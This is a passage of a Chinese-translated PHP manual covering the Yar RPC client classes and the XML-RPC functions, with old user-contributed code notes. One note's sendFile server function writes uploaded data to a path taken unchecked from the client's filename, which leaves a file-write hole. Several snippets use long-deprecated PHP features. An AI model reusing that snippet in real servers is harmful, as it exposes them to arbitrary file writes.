说明

public Yar_Client::setOpt ( number $name , mixed $value ) : boolean

设置调用远程服务的一些配置, 比如超时值, 打包类型等.

参数

name

可以是: YAR_OPT_PACKAGER, YAR_OPT_PERSISTENT (需要服务端支持keepalive), YAR_OPT_TIMEOUT, YAR_OPT_CONNECT_TIMEOUT

value

返回值

范例

Example #1 Yar_Client::setOpt()示例

<?php

$cient = new Yar_Client("http://host/api/");

//Set timeout to 1s
$client->SetOpt(YAR_OPT_CONNECT_TIMEOUT, 1000);

//Set packager to JSON
$client->SetOpt(YAR_OPT_PACKAGER, "json");

/* call remote service */
$result = $client->some_method("parameter");
?>

以上例程的输出类似于：

参见

  • Yar_Client::__call() - 调用远程服务
    •

User Contributed Notes

There are no user contributed notes for this page.


The Yar_Concurrent_Client class

(No version information available, might only be in Git)

简介

类摘要

Yar_Concurrent_Client {
/* 属性 */
static $_callstack ;
static $_callback ;
static $_error_callback ;
/* 方法 */
public static call ( string $uri , string $method , array $parameters [, callable $callback ] ) : int
public static loop ([ callable $callback [, callable $error_callback ]] ) : boolean
}

属性

_callstack

_callback

_error_callback

Table of Contents

  • Yar_Concurrent_Client::call — 注册一个并行的服务调用
  • Yar_Concurrent_Client::loop — 发送所有注册的并行调用

User Contributed Notes

There are no user contributed notes for this page.


注册一个并行的服务调用

  • ? Yar_Concurrent_Client
  • Yar_Concurrent_Client::loop ?
  • PHP Manual
  • Yar_Concurrent_Client
  • 注册一个并行的服务调用

Yar_Concurrent_Client::call

(PECL yar >= 1.0.0)

Yar_Concurrent_Client::call — 注册一个并行的服务调用

说明

public static Yar_Concurrent_Client::call ( string $uri , string $method , array $parameters [, callable $callback ] ) : int

注册一个并行的(异步的)远程服务调用, 不过这个调用请求不会被立即发出, 而是会在接下来调用 Yar_Concurrent_Client::loop()的时候才真正的发送出去.

参数

uri

RPC 服务的 URI(http 或 tcp).

method

调用的服务名字(也就是服务方法名).

parameters

调用的参数.

callback

回调函数, 在远程服务的返回到达的时候被Yar调用, 从而可以处理返回内容.

返回值

唯一 ID， 可用于区分到底是那个调用的返回.

范例

Example #1 Yar_Concurrent_Client::call()示例

<?php
function callback($retval, $callinfo) {
     var_dump($retval);
}

function error_callback($type, $error, $callinfo) {
    error_log($error);
}

Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback");
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"));   // if the callback is not specificed,
                                                                               // callback in loop will be used
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_PACKAGER => "json"));
                                                                               //this server accept json packager
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_TIMEOUT=>1));
                                                                               //custom timeout

// 这个时候请求都还没有发出
?>

以上例程的输出类似于：

参见

  • Yar_Concurrent_Client::loop() - 发送所有注册的并行调用
    •

  • Yar_Concurrent_Client::reset()
    •

  • Yar_Server::__construct() - 创建一个HTTP RPC Server
    •

  • Yar_Server::handle() - 启动HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


发送所有注册的并行调用

  • ? Yar_Concurrent_Client::call
  • Yar_Server_Exception ?
  • PHP Manual
  • Yar_Concurrent_Client
  • 发送所有注册的并行调用

Yar_Concurrent_Client::loop

(PECL yar >= 1.0.0)

Yar_Concurrent_Client::loop — 发送所有注册的并行调用

说明

public static Yar_Concurrent_Client::loop ([ callable $callback [, callable $error_callback ]] ) : boolean

发送所有的已经通过 Yar_Concurrent_Client::call()注册的并行调用, 并且等待返回.

参数

callback

如果这个回掉函数被设置, 那么Yar在发送出所有的请求之后立即调用一次这个回掉函数(此时还没有任何请求返回), 调用的时候$callinfo参数是NULL.

如果在注册并行调用的时候制定了callback, 那么那个callback有更高的优先级.

error_callback

错误回掉函数, 如果设置了, 那么Yar在出错的时候会调用这个回掉函数.

返回值

范例

Example #1 Yar_Concurrent_Client::loop() example

<?php
function callback($retval, $callinfo) {
     if ($callinfo == NULL) {
        echo "现在, 所有的请求都发出去了, 还没有任何请求返回\n";
     } else {
              echo "这是一个远程调用的返回, 调用的服务名是", $callinfo["method"],
                      ". 调用的sequence是 " , $callinfo["sequence"] , "\n";
        var_dump($retval);
     }
}

function error_callback($type, $error, $callinfo) {
    error_log($error);
}

Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback");
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"));   // if the callback is not specificed,
                                                                               // callback in loop will be used
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_PACKAGER => "json"));
                                                                               //this server accept json packager
Yar_Concurrent_Client::call("http://host/api/", "some_method", array("parameters"), "callback", NULL, array(YAR_OPT_TIMEOUT=>1));
                                                                               //custom timeout

Yar_Concurrent_Client::loop("callback", "error_callback"); //send the requests,
                                                           //the error_callback is optional
?>

以上例程的输出类似于：

现在, 所有的请求都发出去了, 还没有任何请求返回
这是一个远程调用的返回, 调用的服务名是some_method, 调用的sequence是 4
string(11) "some_method"
这是一个远程调用的返回, 调用的服务名是some_method, 调用的sequence是 1
string(11) "some_method"
这是一个远程调用的返回, 调用的服务名是some_method, 调用的sequence是 2
string(11) "some_method"
这是一个远程调用的返回, 调用的服务名是some_method, 调用的sequence是 3
string(11) "some_method"

参见

  • Yar_Concurrent_Client::call() - 注册一个并行的服务调用
  • Yar_Server::__construct() - 创建一个HTTP RPC Server
  • Yar_Server::handle() - 启动HTTP RPC Server

User Contributed Notes

There are no user contributed notes for this page.


The Yar_Server_Exception class

(No version information available, might only be in Git)

简介

If service threw exceptions, A Yar_Server_Exception will be threw in client side.

类摘要

Yar_Server_Exception extends Exception {
/* 属性 */
protected $_type ;
/* 方法 */
public getType ( void ) : string
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

属性

message

code

file

line

_type

Table of Contents

  • Yar_Server_Exception::getType — 获取异常的原始类型

User Contributed Notes

There are no user contributed notes for this page.


获取异常的原始类型

  • ? Yar_Server_Exception
  • Yar_Client_Exception ?
  • PHP Manual
  • Yar_Server_Exception
  • 获取异常的原始类型

Yar_Server_Exception::getType

(PECL yar >= 1.0.0)

Yar_Server_Exception::getType — 获取异常的原始类型

说明

public Yar_Server_Exception::getType ( void ) : string

当服务端的服务函数抛出异常的时候, 客户端本地会响应的抛出一个Yar_Server_Exception异常. 有一个属性, 标明了服务端异常的类型. 这个方法就是获取这个异常类型.

参数

此函数没有参数。

返回值

string

范例

Example #1 Yar_Server_Exception::getType()示例

//Server.php
<?php
class Custom_Exception extends Exception {};

class API {
    public function throw_exception($name) {
        throw new Custom_Exception($name);
    }
}

$service = new Yar_Server(new API());
$service->handle();
?>

//Client.php
<?php
$client = new Yar_Client("http://host/api.php");

try {
    $client->throw_exception("client");
} catch (Yar_Server_Exception $e) {
    var_dump($e->getType());
    var_dump($e->getMessage());
}

以上例程的输出类似于：

string(16) "Custom_Exception"
string(6) "client"

参见

User Contributed Notes

There are no user contributed notes for this page.


The Yar_Client_Exception class

(No version information available, might only be in Git)

简介

类摘要

Yar_Client_Exception extends Exception {
/* 属性 */
/* 方法 */
public getType ( void ) : void
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

属性

message

code

file

line

Table of Contents

  • Yar_Client_Exception::getType — The getType purpose

User Contributed Notes

There are no user contributed notes for this page.


The getType purpose

  • ? Yar_Client_Exception
  • XML-RPC ?
  • PHP Manual
  • Yar_Client_Exception
  • The getType purpose

Yar_Client_Exception::getType

(PECL yar >= 1.0.0)

Yar_Client_Exception::getType — The getType purpose

说明

public Yar_Client_Exception::getType ( void ) : void

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

范例

Example #1 Yar_Client_Exception::getType() example

<?php

/* ... */

?>

以上例程的输出类似于：

...

参见

User Contributed Notes

There are no user contributed notes for this page.


XML-RPC

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • XML-RPC 函数
    • xmlrpc_decode_request — 将 XML 译码为 PHP 本身的类型
    • xmlrpc_decode — 将 XML 译码为 PHP 本身的类型
    • xmlrpc_encode_request — 为 PHP 的值生成 XML
    • xmlrpc_encode — 为 PHP 的值生成 XML
    • xmlrpc_get_type — 为 PHP 的值获取 xmlrpc 的类型
    • xmlrpc_is_fault — Determines if an array value represents an XMLRPC fault
    • xmlrpc_parse_method_descriptions — 将 XML 译码成方法描述的列表
    • xmlrpc_server_add_introspection_data — 添加自我描述的文档
    • xmlrpc_server_call_method — 解析 XML 请求同时调用方法
    • xmlrpc_server_create — 创建一个 xmlrpc 服务端
    • xmlrpc_server_destroy — 销毁服务端资源
    • xmlrpc_server_register_introspection_callback — 注册一个 PHP 函数用于生成文档
    • xmlrpc_server_register_method — 注册一个 PHP 函数用于匹配 xmlrpc 方法名
    • xmlrpc_set_type — 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

User Contributed Notes

There are no user contributed notes for this page.


简介

These functions can be used to write XML-RPC servers and clients. You can find more information about XML-RPC at » http://www.xmlrpc.com/, and more documentation on this extension and its functions at » http://xmlrpc-epi.sourceforge.net/.

Warning

此扩展是实验性 的。 此扩展的表象，包括其函数名称以及其他此扩展的相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本扩展风险自担 。

User Contributed Notes

There are no user contributed notes for this page.


安装

默认情况下在 PHP 中是不能使用 XML-RPC 支持的。你需要使用 --with-xmlrpc[=DIR] 配置选项编译 PHP 才能够使用 XML-RPC 支持。从 PHP 4.1.0 开始附带了此扩展。

User Contributed Notes

There are no user contributed notes for this page.


资源类型

This extension defines a XML-RPC server resource returned by xmlrpc_server_create().

User Contributed Notes

There are no user contributed notes for this page.


XML-RPC 函数

Table of Contents

  • xmlrpc_decode_request — 将 XML 译码为 PHP 本身的类型
  • xmlrpc_decode — 将 XML 译码为 PHP 本身的类型
  • xmlrpc_encode_request — 为 PHP 的值生成 XML
  • xmlrpc_encode — 为 PHP 的值生成 XML
  • xmlrpc_get_type — 为 PHP 的值获取 xmlrpc 的类型
  • xmlrpc_is_fault — Determines if an array value represents an XMLRPC fault
  • xmlrpc_parse_method_descriptions — 将 XML 译码成方法描述的列表
  • xmlrpc_server_add_introspection_data — 添加自我描述的文档
  • xmlrpc_server_call_method — 解析 XML 请求同时调用方法
  • xmlrpc_server_create — 创建一个 xmlrpc 服务端
  • xmlrpc_server_destroy — 销毁服务端资源
  • xmlrpc_server_register_introspection_callback — 注册一个 PHP 函数用于生成文档
  • xmlrpc_server_register_method — 注册一个 PHP 函数用于匹配 xmlrpc 方法名
  • xmlrpc_set_type — 为一个 PHP 字符串值设置 xmlrpc 的类型、base64 或日期时间

User Contributed Notes

digibrisk at gmail dot NOSPAM dot SPAMNO dot com 05-Oct-2007 03:24
Adding to what giunta dot gaetano at sea-aeroportimilano dot it and astrolox at lawyersonline dot co dot uk said about the Sourceforge PHP XML-RPC project: You can probably use function_exists() to determine whether the extension is installed so you don't have to incur performance costs. If it's not installed, then the function won't exist, and function_exists() returns false. You can then fall back on the alternative library if that's the case. For example:

<?php

if(!function_exists("xmlrpc_server_create")) {
    // include necessary files.
}

?>
handco at gmail dot com 20-Feb-2007 08:19
Hi,

A little snippet to implement OO XML RPC Server.

File RPCPlugin.php :

class RPCPlugins {

    private $plugins;

    function __construct ($pathname, $rpcServer) {
        $d = dir($pathname);
        while (($file = $d->read()) !== false) {
            if (ereg('(.*)\.php$', $file, $regs)) {
                include_once ($pathname . '/' . $file);
                $class=$regs[1];
                $this->plugins = new $class($rpcServer);
            }
        }
    }

}

class RPCPlugin {

    private $_rpcServer;

    function __construct($rpcServer) {
        $this->_rpcServer = $rpcServer;

        $methods = get_class_methods($this);

        foreach ($methods as $method) {
            if (substr($method, 0,1) != '_') {
                xmlrpc_server_register_method($rpcServer,get_class($this) . "." . $method,array(&$this,$method));
            }
        }

    }

}

An example of plugin in plugins/Test.php  :

 class Test extends RPCPlugin {

     function HelloWorld ($method, $params) {
         return "Hello World --->>" . $params[0];
     }

 }

Now the real server :

require_once 'RPCPlugin.php';

 $rpcServer = xmlrpc_server_create();

$plugins = new RPCPlugins(realpath('plugins/'), $rpcServer);

 $resp = xmlrpc_server_call_method($rpcServer,$HTTP_RAW_POST_DATA,null);
 if ($resp) {
     header ('Content-Type: text/xml');
     echo $resp;
 }
 xmlrpc_server_destroy($rpcServer)

Then you can call ethod by classname.method.
For this sample Test.HelloWorld

Hn'Co
giunta dot gaetano at sea-aeroportimilano dot it 13-Sep-2006 06:40
If you need to use this extension but are stuck on a server where it can not be installed, the php-xmlrpc library found at http://phpxmlrpc.sourceforge.net includes an emulation layer that aims to be 100% compatible with the API of the native extension (as part of the "extras" package since version 0.2).
This means your code should be able to run unmodified on top of the php-xmlrpc library. Of course performance will be at least an order of magnitude worse...
keithNO dot SPAMthornhill at gmail dot com 17-May-2006 02:16
for others attempting the same thing, here is what a function would look like if you wanted to send a base64 encoded file from a client and then save it onto the server. the other code necessary to call this function via an RPC is available in other comments so i won't repeat it.

parameters:
1 - name of file
2 - base64 encoded data of file

note the use of $file_data->scalar

<?
    function sendFile($method_name, $params, $user_data) {
        $file = "/somedir/" . $params[0];
        $file_data = $params[1];

        $fh = @fopen($file, "wb");
        if ($fh) {
            if (@fwrite($fh, $file_data->scalar)) {
                $msg = "success msg";
            } else {
                $msg = "couldn't write to file";
            }
            fclose($fh);
            return $msg;
        } else {
            return "couldn't open file";
        }
    }
?>
09-Mar-2006 12:47
This XML-RPC Service makes the use XML-RPC very esay.

<?php

/**
* function myfun() returns
*@return array
*/
function myfunc(){
    return $some_array;
}

$ws = new XML_RPC_Server();
$ws->registerFunction('myfunc');
$ws->run();

?>

http://www.pure-php.de/node/31

It creates also a simple docu.
http://www.pure-php.com/php/service.php?doc
john # curioussymbols com 19-Oct-2005 04:37
I couldn't make the 'xmlrpc_errors' php.ini setting do anything
noticeable (PHP 4.3.11), so I used the following code to report errors
from my XMLRPC server. Hope it's helpful for someone.

<?php
function return_xmlrpc_error($errno,$errstr,$errfile=NULL,$errline=NULL
       ,$errcontext=NULL){
    global $xmlrpc_server;
    if(!$xmlrpc_server)die("Error: $errstr in '$errfile', line '$errline'");

    header("Content-type: text/xml; CHARSET=gb2312");
    print(xmlrpc_encode(array(
        'faultCode'=>$errno
        ,'faultString'=>"Remote XMLRPC Error from
          ".$_SERVER['HTTP_HOST'].": $errstr in at $errfile:$errline"
    )));
    die();
}
set_error_handler('return_xmlrpc_error');
?>

In my server function, I just trigger_error("message",E_USER_ERROR)]
 if something can't be completed.

Then on the client side,
<?php
        $data =& xmlrpc_decode($response['body']);

        if(xmlrpc_is_fault($data)){
            trigger_error($data['faultString'],E_USER_ERROR);
        }
?>
martin dot rode at programmfabrik dot de 04-Aug-2005 05:28
To connect to a python xmlrpc server I use:

function do_call($host, $port, $request) {

    $url = "http://$host:$port/";
    $header[] = "Content-type: text/xml";
    $header[] = "Content-length: ".strlen($request);

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $request);

    $data = curl_exec($ch);
    if (curl_errno($ch)) {
        print curl_error($ch);
    } else {
        curl_close($ch);
        return $data;
    }
}

$request = xmlrpc_encode_request('add', array(3, 4));
$response = do_call($host, $port, $request);
astrolox at lawyersonline dot co dot uk 22-Mar-2005 04:20
The PHP XML-RPC project at SourceForge makes life a hell of a lot easier. However, the project uses some function names which are identical to thoses provided by the XML-RPC extention.

If you are on a server with XML-RPC extension compiled in but wish to use the PHP based version then you will have to rename some of the functions.

I notice that sourceforce says there is activity on the project in 2005 but the last release was January 12, 2003.

I recommend that you use this not so friendly PHP extention if available. However this sourceforce project is still a good idea if you don't control which extenions are be available on the server.

http://phpxmlrpc.sourceforge.net/
Jerome Delamarche 14-Oct-2004 02:58
The documentation lacks an example that shows how to send a fault in a response. Here is how to do it:

$args = array("faultCode" => $errcode, "faultString" => $errmsg);
$resp = xmlrpc_encode_request(NULL,$args);
//echo $resp;
php at hendrik-krauss dot de 13-Aug-2004 12:38
On "datetime" values:

If you implement an XML-RPC server with these functions and a client calls a method on your server, sending a datetime as parameter (in ISO 8601 format, as specified at http://www.xmlrpc.com/spec), the PHP XML-RPC will pass your registered server method an object as parameter. That object, for example, looks like:
obj->type="datetime"
obj->scalar="20040420T13:32:40"
obj->timestamp=1082460760

If you do xmlrpc_get_type(obj), it will return "datetime", so presumably that function just returns the value of 'type'. 'scalar' seems to be the on-the-wire representation of the datetime (ISO 8601, exactly as received). 'timestamp' appears to be the ISO value in 'scalar' converted into a normal PHP timestamp (i.e. Unix time_t).

Note on 'scalar': Using a MySQL DB, we did something like  "select blah where start_time >= $obj->scalar ;". That actually worked and returned expected results, so MySQL appears to handle that ISO 8601 format correctly.
swunderlin at REMOVE-telemedia dot ch 09-Jun-2004 03:20
pear hs an XML_RPC package, if you can't recompile your php:
http://pear.php.net/package/XML_RPC
steph at zend dot com 08-Jun-2004 04:04
It took me a while to get a client together without external libraries.  This very basic client/server pair works on my home set-up - hopefully it will save the next xml-rpc virgin some grief.

/* clienttest.php */
<?php
function do_call($host, $port, $request) {

    $fp = fsockopen($host, $port, $errno, $errstr);
    $query = "POST /home/servertest.php HTTP/1.0\nUser_Agent: My Egg Client\nHost: ".$host."\nContent-Type: text/xml\nContent-Length: ".strlen($request)."\n\n".$request."\n";

    if (!fputs($fp, $query, strlen($query))) {
        $errstr = "Write error";
        return 0;
    }

    $contents = '';
    while (!feof($fp)) {
        $contents .= fgets($fp);
    }

    fclose($fp);
    return $contents;
}

$host = 'localhost';
$port = 80;
$request = xmlrpc_encode_request('cycle', 'egg');
$response = do_call($host, $port, $request);
/* do something with $response, e.g. print it */
?>

/* servertest.php */
<?php
function lifecycle($method, $params) {
/* $method = 'cycle', $params = (array of) request parameter(s); $data is also passed from xmlrpc_server_call_method, if we had any data to pass */
    switch($params[0]) {
        case 'egg':
            $reply = 'All eggs will be birds one day.';
        break;
        default:
            $reply = 'That must have been an otheregg';
    }
    return $reply;
}

$server = xmlrpc_server_create();

/* register the 'external' name and then the 'internal' name */
xmlrpc_server_register_method($server, "cycle", "lifecycle");

$request = $HTTP_RAW_POST_DATA; // no you don't need 'always on', and no $_POST doesn't work.

/* the parameters here are 'server, xml-string and user data'.  There's supposed to be an optional 'output options' array too, but I can't get it working :( hence header() call */
$response = xmlrpc_server_call_method($server, $request, null);
header('Content-Type: text/xml');
print $response;

xmlrpc_server_destroy($server);
?>
mboeren at php dot net 25-Feb-2004 04:34
Just a quick addition to my previous xmlrpc_client class: since you cannot use remote methods containing capital letters or methods from subhandlers (like 'system.listMethods()'), I added a 'call(...)' method to the class.

<?php
    // this method should be copy/pasted in the
    // xmlrpc_client class

    function call($function)
    {
        $return = NULL;
        $argv = func_get_args();
        array_shift($argv); // remove function argument
        $this->__call($function, $argv, &$return);
        return $return;
    }

    // now, you can also do
    $result = $client->call('system.listMethods');
    $sum = client->call('add', '1', '2');
?>
mboeren at php dot net 24-Feb-2004 07:01
I use the following code (requires the overload extension) to make developing clients easier:

<?php
include("utils/utils.php"); // from xmlrpc-epi utils

/*
Usage:
    $client = new xmlrpc_client("http://localhost:7080");
    print $client->echo('x')."\n";
    print $client->add(1, 3)."\n";

*/
class xmlrpc_client
{
    var $url;
    var $urlparts;

    function xmlrpc_client($url)
    {
        $this->url = $url;
        $this->urlparts = parse_url($this->url);
        foreach(array('scheme', 'host', 'user', 'pass', 'path',
                      'query', 'fragment')
                as $part) {
            if (!isset($this->urlparts[$part])) {
                $this->urlparts[$part] = NULL;
                }
            }
    }

    function __call($function, $arguments, &$return)
    {
        $requestprms['host'] = $this->urlparts['host'];
        $requestprms['port'] = $this->urlparts['port'];
        $requestprms['uri'] = $this->urlparts['path'];
        $requestprms['method'] = $function;
        $requestprms['args'] = $arguments;
        $requestprms['debug'] = 0;
        $requestprms['timeout'] = 0;
        $requestprms['user'] = NULL;
        $requestprms['pass'] = NULL;
        $requestprms['secure'] = 0;

        $result = xu_rpc_http_concise($requestprms);
        if (is_array($result) && isset($result['faultCode'])) {
            print('Error in xmlrpc call \''.$function.'\''."\n");
            print('  code   : '.$result['faultCode']."\n");
            print('  message: '.$result['faultString']."\n");
            return false;
            }
        $return = $result;
        return true;
    }

}
overload('xmlrpc_client');

?>
bmichael at goldparrot dot com 08-Feb-2003 09:52
If anyone is interested in making XMLRPC requests directly from the client, I have been able to get xmlrpc to
work with vcXMLRPC javascript backend.

After about 1 week of scanning the market, I found this solution to be the best on Javascript back end.  It uses the Microsoft.HTTP activeX control for IE, or HTTPRequest Object for Mozilla.

You include vc(Virtual Cowboys) vcXMLRPC.js file into your pages and make the rpc calls from with javascript to create the requests.

It works both ways.

Two Notes:

I have tested it on IE 6.02 and you need to change lines in ProcessRequest :
function to read:

  dom = this.getObject("XMLDOM",http.responseText);

and change the getObject function to use the latest ActiveX Control:

 MSXML2.XMLHTTP.3.0  (or 4.0)
 MSXML2.DOMDocument.3.0  (or 4.0)

The controls are found on MSDN in the Web Services -> XML area.

As another note, you DO NOT NEED the rpcproxy.cgi script to use this.  That is a proxy script to get around JS Security.  You can use PHP to build the proxy.  But, I was able to get the CGI working with GCC compiler on Solaris (change the -KPCI, depend and -x03 optimizer settings in the Makefile )
steve at orangeNOSPAMimagineering dot com 24-Aug-2002 01:32
There's a handy library by Keith Devens (version 2.2.1) at
http://www.keithdevens.com/software/xmlrpc/

Here is a sample client. It remotely calls sample.sumAndDifference
with two parameters (3 and 5).
It returns:

sum => 8
difference => -2

<?php
include ("kd_xmlrpc.php");
// define("XMLRPC_DEBUG", 0);    // Set to 1 for handy debugging

$method = "sample.sumAndDifference";
$params = XMLRPC_prepare(array(3,5));

$site = "xmlrpc-c.sourceforge.net";
$location = "/api/sample.php";

list($success, $result) = XMLRPC_request( $site, $location, $method, $params );

// XMLRPC_debug_print();    // uncomment for debugging

foreach ( $result as $key => $value ) {
          echo(" $key => $value \n");
}

?>
hfuecks at pinkgoblin dot com 15-Aug-2002 08:32
This extension does not handle the process of making making XML-RPC client requests via HTTP; it only prepares the XML-RPC request payload.

This differs from many other XML-RPC implementations but offers greater flexibility, allowing SSL connections, authentication headers and XML-RPC via other transports like SMTP.
ivanr at webkreator dot com 21-Jun-2002 11:50
For a really easy way to use this XML-RPC extension take a look at

XML-RPC Class Server (http://www.webkreator.com/php/xcs/)

It automatically creates servers out of PHP classes. Creating clients is almost as easy, especially with the recent addition of the overload extension to PHP (see http://www.php.net/manual/en/ref.overload.php).
nic at uklinux dot NOSPAM dot net 24-Apr-2002 09:05
An alternative XML-RPC implementation is available at http://xmlrpc.usefulinc.com - it's written in PHP so you can use it on servers for which you don't have the luxury of rebuilding PHP on.

nic


将 XML 译码为 PHP 本身的类型

  • ? XML-RPC 函数
  • xmlrpc_decode ?
  • PHP Manual
  • XML-RPC 函数
  • 将 XML 译码为 PHP 本身的类型

xmlrpc_decode_request

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_decode_request — 将 XML 译码为 PHP 本身的类型

说明

xmlrpc_decode_request ( string $xml , string &$method [, string $encoding ] ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

Warning

本函数还未编写文档，仅有参数列表。

User Contributed Notes

e dot sand at elisand dot com 22-Jun-2009 08:20
This function works exactly the same as xmlrpc_decode() except it gives you access to the method being called as well (xmlrpc_decode() only outputs the params from the XML-RPC call).

To use this function, simply create an empty variable to store the method string in, and then pass by reference like so:

<?php
$method = null;
$params = xmlrpc_decode_request('<xml rpc request>', &$method);
?>

What you will get back are the params stored in $params, and $method will have the method being requested.


将 XML 译码为 PHP 本身的类型

  • ? xmlrpc_decode_request
  • xmlrpc_encode_request ?
  • PHP Manual
  • XML-RPC 函数
  • 将 XML 译码为 PHP 本身的类型

xmlrpc_decode

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_decode — 将 XML 译码为 PHP 本身的类型

说明

xmlrpc_decode ( string $xml [, string $encoding = "iso-8859-1" ] ) : mixed
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

xml

XML response returned by XMLRPC method.

encoding

Input encoding supported by iconv.

返回值

Returns either an array, or an integer, or a string, or a boolean according to the response returned by the XMLRPC method.

范例

See example by xmlrpc_encode_request().

参见

  • xmlrpc_encode_request() - 为 PHP 的值生成 XML
  • xmlrpc_is_fault() - Determines if an array value represents an XMLRPC fault

User Contributed Notes

Alwin 18-May-2016 02:24
Note that from libxml 2.7.9+ there is a limit of 10MB for the XML-RPC response.

If the response is larger, xmlrpc_decode will simply return NULL.

There is currently no way to override this limit like we can with the other xml functions (LIBXML_PARSEHUGE)
carmageddon at gmail dot com 03-Jun-2013 07:42
Apparently there is a slight problem with xmlrpc_decode (or php) which re-formats this input: <value><double>0.000000</double></value>

As the double number 0.

To get around it, use: number_format($val, 2);
Output would be 0.00
phil dot berry at elise-international dot net 05-Sep-2011 08:09
Make sure the server isn't returning a string with a space for the first character, this fails in version 5.3.3 and the function returns null (though seems to be ok in 5.2).

Easily sorted by  trimming the response data:

<?php xmlrpc_decode( trim($response) ); ?>
ryon dot sherman at gmail dot com 21-Aug-2009 04:18
64 bit (i8) integers are not parsed by xmlrpc_decode().
Use a string replacement to work around this:

<?php

$xml = str_replace('i8>', 'i4>', $xml);

$decoded_xml = xmlrpc_decode($xml);

?>
david dot bachelart at polytechnique dot org 18-Jul-2004 08:18
Be careful with encodings, the xmlrpc-decode function is rather strict. For example, the following response parse returns NULL :

<?xml version="1.0"?>
<methodResponse>
   <params>
      <param>
         <value><string>a & b</string></value>
         </param>
      </params>
   </methodResponse>

You should use entities :
<?xml version="1.0"?>
<methodResponse>
   <params>
      <param>
         <value><string>a &amp; b</string></value>
         </param>
      </params>
   </methodResponse>

If your server does not encode responses properly, you may have to process responses before parse.
hfuecks at pinkgoblin dot com 16-Aug-2002 03:57
Use this with an XML-RPC client to decode a server response into native PHP variables. It will automatically translate the response XML-RPC data types into their PHP equivalents.

This function will return only false is there is any problem with format of the XML it receives.

The HTTP response header will need to be stripped off with something like;

<?php
$xml=(substr($response, strpos($response, "\r\n\r\n")+4));

$phpvars = xmlrpc_decode ($xml);
?>


为 PHP 的值生成 XML

  • ? xmlrpc_decode
  • xmlrpc_encode ?
  • PHP Manual
  • XML-RPC 函数
  • 为 PHP 的值生成 XML

xmlrpc_encode_request

(PHP 4 >= 4.1.0, PHP 5, PHP 7)

xmlrpc_encode_request — 为 PHP 的值生成 XML

说明

xmlrpc_encode_request ( string $method , mixed $params [, array $output_options ] ) : string
Warning

此函数是实验性的。此函数的表象，包括名称及其相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本函数风险自担 。

参数

method

Name of the method to call.

params

Method parameters compatible with method signature.

output_options

Array specifying output options may contain (default values are emphasised):

  • output_type: php, xml

  • verbosity: no_white_space, newlines_only, pretty

  • escaping: cdata, non-ascii, non-print, markup (may be a string with one value or an array with multiple values)

  • version: simple, xmlrpc, soap 1.1, auto

  • encoding: iso-8859-1, other character set supported by iconv

返回值

Returns a string containing the XML representation of the request.

范例

Example #1 XMLRPC client functions example

<?php
$request = xmlrpc_encode_request("method", array(1, 2, 3));
$context = stream_context_create(array('http' => array(
    'method' => "POST",
    'header' => "Content-Type: text/xml",
    'content' => $request
)));
$file = file_get_contents("http://www.example.com/xmlrpc", false, $context);
$response = xmlrpc_decode($file);
if ($response && xmlrpc_is_fault($response)) {
    trigger_error("xmlrpc: $response[faultString] ($response[faultCode])");
} else {
    print_r($response);
}
?>

参见

  • stream_context_create() - 创建资源流上下文
  • file_get_contents() - 将整个文件读入一个字符串
  • xmlrpc_decode() - 将 XML 译码为 PHP 本身的类型

User Contributed Notes

Anonymous 27-Aug-2009 12:33
ever tried transmitting an array like the following with xmlrpc?
$var1=array(7=>14,9=>18);

The output array looks quite different! It will look like that:
$var2=array(14,18);

The only solution i found is to prepend a space to the index:
$var3=array(' 7'=>14,' 9'=>18);

Using that method you'll get the right result. ($var1)
cometfish at hotmail dot com 01-Sep-2008 12:47
The example above is incorrect - the header needs to be an array, see post by "chris dot vigelius at gmx dot net": http://au.php.net/manual/en/function.stream-context-create.php#74431
His post also shows how to do browser authentication, as below:
<?php
   $request = xmlrpc_encode_request("methodName", array("methodParam"));
   $auth = base64_encode($username.":".$password);
   $header = (version_compare(phpversion(), '5.2.8'))
     ? array("Content-Type: text/xml","Authorization: Basic $auth")
     : "Content-Type: text/xml\r\nAuthorization: Basic $auth" ; //[1]
   $context = stream_context_create(array('http' => array(
      'method' => "POST",
      'header' => $header,
      'content' => $request
   )));
   $webservice="http://www.example.com/rpc";
   $file = file_get_contents($webservice, false, $context);
   $response = xmlrpc_decode($file);
   if (xmlrpc_is_fault($response)) {
